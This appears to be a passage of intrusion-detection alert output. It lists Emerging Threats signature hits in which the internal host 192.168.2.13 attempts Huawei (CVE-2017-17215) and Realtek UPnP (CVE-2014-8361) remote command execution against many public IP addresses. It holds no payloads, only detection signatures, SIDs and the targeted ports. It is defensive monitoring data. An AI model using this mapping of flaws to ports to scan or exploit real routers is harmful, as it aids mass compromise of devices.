Source Port:	40844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 89.176.16.102

Timestamp:	07/20/24-23:01:02.703502
SID:	2835222
Source Port:	59930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.145.132.17

Timestamp:	07/20/24-23:01:05.776003
SID:	2027339
Source Port:	58942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 144.242.214.134

Timestamp:	07/20/24-23:01:14.503288
SID:	2027339
Source Port:	59548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.92.22.255

Timestamp:	07/20/24-23:01:36.794115
SID:	2835222
Source Port:	54596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.140.157.0

Timestamp:	07/20/24-23:01:36.781604
SID:	2835222
Source Port:	47934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 153.88.175.187

Timestamp:	07/20/24-23:01:03.925942
SID:	2025132
Source Port:	37840
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 213.247.132.243

Timestamp:	07/20/24-23:01:12.358593
SID:	2835222
Source Port:	43312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.97.250.254

Timestamp:	07/20/24-23:01:12.495795
SID:	2835222
Source Port:	55294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 101.150.57.159

Timestamp:	07/20/24-23:01:27.354360
SID:	2831300
Source Port:	59984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.38.204.155

Timestamp:	07/20/24-23:01:27.297470
SID:	2829579
Source Port:	44254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 189.69.197.170

Timestamp:	07/20/24-23:01:22.799496
SID:	2829579
Source Port:	42424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.60.200.134

Timestamp:	07/20/24-23:01:17.786876
SID:	2829579
Source Port:	35050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 204.52.130.30

Timestamp:	07/20/24-23:01:05.588823
SID:	2025132
Source Port:	42224
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 122.26.122.109

Timestamp:	07/20/24-23:01:14.547545
SID:	2831300
Source Port:	37078
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.82.152.97

Timestamp:	07/20/24-23:01:22.737206
SID:	2835222
Source Port:	32960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.191.47.210

Timestamp:	07/20/24-23:01:24.625501
SID:	2829579
Source Port:	40340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.36.25.75

Timestamp:	07/20/24-23:01:12.533731
SID:	2835222
Source Port:	38810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.174.197.147

Timestamp:	07/20/24-23:01:22.741097
SID:	2829579
Source Port:	59530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.77.244.28

Timestamp:	07/20/24-23:01:36.783608
SID:	2835222
Source Port:	48296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.54.41.117

Timestamp:	07/20/24-23:00:59.021890
SID:	2829579
Source Port:	49998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.250.181.100

Timestamp:	07/20/24-23:01:02.695892
SID:	2829579
Source Port:	43962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.209.49.4

Timestamp:	07/20/24-23:01:22.795411
SID:	2829579
Source Port:	36748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.207.244.51

Timestamp:	07/20/24-23:01:27.285139
SID:	2829579
Source Port:	58208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.20.195.200

Timestamp:	07/20/24-23:01:25.460589
SID:	2835222
Source Port:	38438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 192.153.241.221

Timestamp:	07/20/24-23:01:32.264711
SID:	2835222
Source Port:	39814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.109.81.120

Timestamp:	07/20/24-23:01:22.740155
SID:	2835222
Source Port:	42816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 179.27.16.177

Timestamp:	07/20/24-23:01:14.559539
SID:	2027339
Source Port:	41960
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.57.160.247

Timestamp:	07/20/24-23:01:12.543114
SID:	2835222
Source Port:	47696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.235.158.52

Timestamp:	07/20/24-23:01:36.781139
SID:	2829579
Source Port:	38422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 41.74.147.143

Timestamp:	07/20/24-23:01:14.556765
SID:	2831300
Source Port:	35812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.199.196.57

Timestamp:	07/20/24-23:01:27.237697
SID:	2829579
Source Port:	56156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.179.100.43

Timestamp:	07/20/24-23:01:36.808711
SID:	2835222
Source Port:	42636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.90.120.141

Timestamp:	07/20/24-23:01:06.804996
SID:	2835222
Source Port:	44872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 92.52.112.233

Timestamp:	07/20/24-23:01:14.546163
SID:	2027339
Source Port:	52560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 147.235.120.255

Timestamp:	07/20/24-23:01:08.392180
SID:	2835222
Source Port:	57928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 137.85.81.139

Timestamp:	07/20/24-23:01:15.063531
SID:	2829579
Source Port:	57024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 162.120.56.216

Timestamp:	07/20/24-23:01:14.512728
SID:	2831300
Source Port:	52674
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.214.227.104

Timestamp:	07/20/24-23:01:22.754723
SID:	2835222
Source Port:	59592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 2.24.106.226

Timestamp:	07/20/24-23:01:07.320609
SID:	2027339
Source Port:	43538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 85.119.116.161

Timestamp:	07/20/24-23:01:14.556193
SID:	2027339
Source Port:	37408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.222.221.26

Timestamp:	07/20/24-23:00:59.022237
SID:	2835222
Source Port:	59386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.71.97.69

Timestamp:	07/20/24-23:01:04.842729
SID:	2835222
Source Port:	55190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 207.190.228.219

Timestamp:	07/20/24-23:01:27.360753
SID:	2027339
Source Port:	35240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.33.56.225

Timestamp:	07/20/24-23:01:32.208939
SID:	2829579
Source Port:	36340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 8.104.228.104

Timestamp:	07/20/24-23:01:14.521013
SID:	2831300
Source Port:	45040
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 95.49.112.227

Timestamp:	07/20/24-23:01:14.566160
SID:	2831300
Source Port:	57730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 70.115.96.89

Timestamp:	07/20/24-23:01:27.263646
SID:	2835222
Source Port:	42522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 189.30.247.87

Timestamp:	07/20/24-23:01:17.782283
SID:	2835222
Source Port:	39052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 52.188.85.89

Timestamp:	07/20/24-23:01:03.831831
SID:	2027339
Source Port:	59558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.166.6.127

Timestamp:	07/20/24-23:01:25.456960
SID:	2829579
Source Port:	50488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 221.227.34.24

Timestamp:	07/20/24-23:01:04.848636
SID:	2835222
Source Port:	51304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 78.15.229.242

Timestamp:	07/20/24-23:01:19.351435
SID:	2027339
Source Port:	57618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.127.237.138

Timestamp:	07/20/24-23:01:32.248799
SID:	2829579
Source Port:	38748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.95.249.154

Timestamp:	07/20/24-23:01:22.810316
SID:	2835222
Source Port:	47092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 170.23.175.88

Timestamp:	07/20/24-23:01:06.134141
SID:	2025132
Source Port:	42424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.228.185.137

Timestamp:	07/20/24-23:01:36.781770
SID:	2829579
Source Port:	42482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.255.242.205

Timestamp:	07/20/24-23:01:25.404749
SID:	2829579
Source Port:	39796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 222.170.225.11

Timestamp:	07/20/24-23:01:06.808312
SID:	2829579
Source Port:	40726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.199.15.206

Timestamp:	07/20/24-23:01:02.628234
SID:	2835222
Source Port:	37288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 119.150.77.161

Timestamp:	07/20/24-23:01:04.592707
SID:	2025132
Source Port:	60404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 51.159.237.57

Timestamp:	07/20/24-23:01:25.406212
SID:	2829579
Source Port:	41648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.238.40.168

Timestamp:	07/20/24-23:00:59.021890
SID:	2829579
Source Port:	44740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 83.133.236.199

Timestamp:	07/20/24-23:01:21.665349
SID:	2027339
Source Port:	40638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 43.126.159.21

Timestamp:	07/20/24-23:01:27.352864
SID:	2831300
Source Port:	33822
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.253.201.13

Timestamp:	07/20/24-23:01:36.855169
SID:	2829579
Source Port:	58676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 202.179.114.114

Timestamp:	07/20/24-23:01:14.500914
SID:	2027339
Source Port:	47586
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.41.81.45

Timestamp:	07/20/24-23:01:06.800702
SID:	2835222
Source Port:	57088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.91.33.73

Timestamp:	07/20/24-23:01:36.866693
SID:	2835222
Source Port:	47212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.207.241.220

Timestamp:	07/20/24-23:00:59.021019
SID:	2835222
Source Port:	50030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.110.69.240

Timestamp:	07/20/24-23:00:59.020982
SID:	2835222
Source Port:	52342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.177.232.220

Timestamp:	07/20/24-23:01:32.213464
SID:	2835222
Source Port:	33884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.17.13.19

Timestamp:	07/20/24-23:00:59.021675
SID:	2829579
Source Port:	60170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 83.201.72.91

Timestamp:	07/20/24-23:01:14.542853
SID:	2831300
Source Port:	39616
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 72.60.254.31

Timestamp:	07/20/24-23:01:05.941292
SID:	2027339
Source Port:	34744
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.191.38.245

Timestamp:	07/20/24-23:01:25.693881
SID:	2829579
Source Port:	52430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.80.112.192

Timestamp:	07/20/24-23:01:02.603717
SID:	2835222
Source Port:	41902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 83.224.119.168

Timestamp:	07/20/24-23:01:14.521865
SID:	2831300
Source Port:	41888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.87.236.58

Timestamp:	07/20/24-23:01:27.276711
SID:	2829579
Source Port:	36792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 168.61.125.85

Timestamp:	07/20/24-23:01:06.358322
SID:	2027339
Source Port:	44760
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.241.44.60

Timestamp:	07/20/24-23:01:15.112954
SID:	2829579
Source Port:	43340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 47.238.173.9

Timestamp:	07/20/24-23:01:04.893876
SID:	2829579
Source Port:	32858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 173.204.137.85

Timestamp:	07/20/24-23:01:06.224182
SID:	2027339
Source Port:	39234
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 202.179.114.114

Timestamp:	07/20/24-23:01:14.500914
SID:	2831300
Source Port:	47586
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 17.84.65.128

Timestamp:	07/20/24-23:01:22.736771
SID:	2829579
Source Port:	42444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.194.160.22

Timestamp:	07/20/24-23:01:12.360354
SID:	2829579
Source Port:	55978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 213.249.133.80

Timestamp:	07/20/24-23:01:14.507784
SID:	2831300
Source Port:	49260
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.246.48.161

Timestamp:	07/20/24-23:01:08.391767
SID:	2829579
Source Port:	52516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.170.154.240

Timestamp:	07/20/24-23:01:02.682054
SID:	2835222
Source Port:	58952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 97.115.201.63

Timestamp:	07/20/24-23:01:20.292473
SID:	2027339
Source Port:	41010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 177.53.116.167

Timestamp:	07/20/24-23:01:27.359675
SID:	2831300
Source Port:	50350
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.209.60.212

Timestamp:	07/20/24-23:00:59.021621
SID:	2835222
Source Port:	34700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.15.196.122

Timestamp:	07/20/24-23:01:36.799485
SID:	2829579
Source Port:	43088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.141.132.83

Timestamp:	07/20/24-23:01:02.607205
SID:	2835222
Source Port:	54996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.87.191.160

Timestamp:	07/20/24-23:01:15.000887
SID:	2835222
Source Port:	53250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 98.251.241.242

Timestamp:	07/20/24-23:01:22.753217
SID:	2835222
Source Port:	50616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 34.213.231.189

Timestamp:	07/20/24-23:01:19.531622
SID:	2027339
Source Port:	47006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.227.66.166

Timestamp:	07/20/24-23:01:12.502954
SID:	2829579
Source Port:	58018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.187.216.229

Timestamp:	07/20/24-23:01:22.737919
SID:	2829579
Source Port:	41442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 77.222.205.40

Timestamp:	07/20/24-23:01:05.556569
SID:	2027339
Source Port:	50004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.155.97.104

Timestamp:	07/20/24-23:01:25.390544
SID:	2829579
Source Port:	56014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 147.253.173.13

Timestamp:	07/20/24-23:01:27.354992
SID:	2831300
Source Port:	53932
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

